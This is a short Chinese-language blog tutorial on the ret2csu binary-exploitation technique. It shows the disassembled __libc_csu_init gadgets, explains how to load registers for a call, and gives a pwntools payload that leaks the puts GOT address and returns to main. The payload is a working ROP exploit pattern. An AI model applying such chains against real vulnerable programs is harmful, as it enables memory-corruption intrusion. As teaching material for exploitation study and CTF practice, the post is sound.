ret2 csu
/write 12

该技巧使用__libc_csu_init中的gadgets操作寄存器值,并可以接着调用函数,乍一听感觉很万金油(

源码/漏洞分析:

text:0000000000400890 loc_400890:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400890                 mov     rdx, r13                   //csu_addr2
.text:0000000000400893                 mov     rsi, r14
.text:0000000000400896                 mov     edi, r15d
.text:0000000000400899                 call    ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]    //如果rbx=0就可以直接调用r12处地址
.text:000000000040089D                 add     rbx, 1
.text:00000000004008A1                 cmp     rbx, rbp
.text:00000000004008A4                 jnz     short loc_400890
.text:00000000004008A6
.text:00000000004008A6 loc_4008A6:                             ; CODE XREF: __libc_csu_init+34↑j
.text:00000000004008A6                 add     rsp, 8
.text:00000000004008AA                 pop     rbx                        //csu_addr1
.text:00000000004008AB                 pop     rbp
.text:00000000004008AC                 pop     r12
.text:00000000004008AE                 pop     r13
.text:00000000004008B0                 pop     r14
.text:00000000004008B2                 pop     r15
.text:00000000004008B4                 retn

先跳转到0x00000000004008AA(csu_addr1,为控制寄存器的值布局

rbx=0 因为后面要调用r12函数,设置为0

rbp=1 后面rbx会加1后与rbp比较,相等继续

r12=目的函数的got 因为是call [r12]内存间接调用,需要直接提供函数的地址

调用和跳转

r13=rdx var3

r14=rsi var2 如果你要调用puts这种只有一个参数的,直接将r15设置为泄露地址,r13r14乱写就行

r15=rdi var1

然后跳转csu_addr2 0x0000000000400890 控制寄存器

call完后继续执行一个add和6个pop,因为我们肯定是要跳回去的,所以写7个值在栈上防止pop/add破坏栈帧

exp:


payload+= p64(csu_addr1)
payload+= p64(0)
payload+= p64(1)
payload+= p64(elf.got['puts'])
payload+= p64(0x100)
payload+= p64(0)
payload+= p64(elf.got['puts'])
payload+= p64(csu_addr2)
payload+= p64(0)*7
payload+= p64(elf.symbols['main'])

有些版本的csu传参的寄存器不一样,按照实际调整就可以了

ret2 csu
http://47.100.250.251:8091/archives/ret2-csu
作者
Administrator
发布于
更新于
许可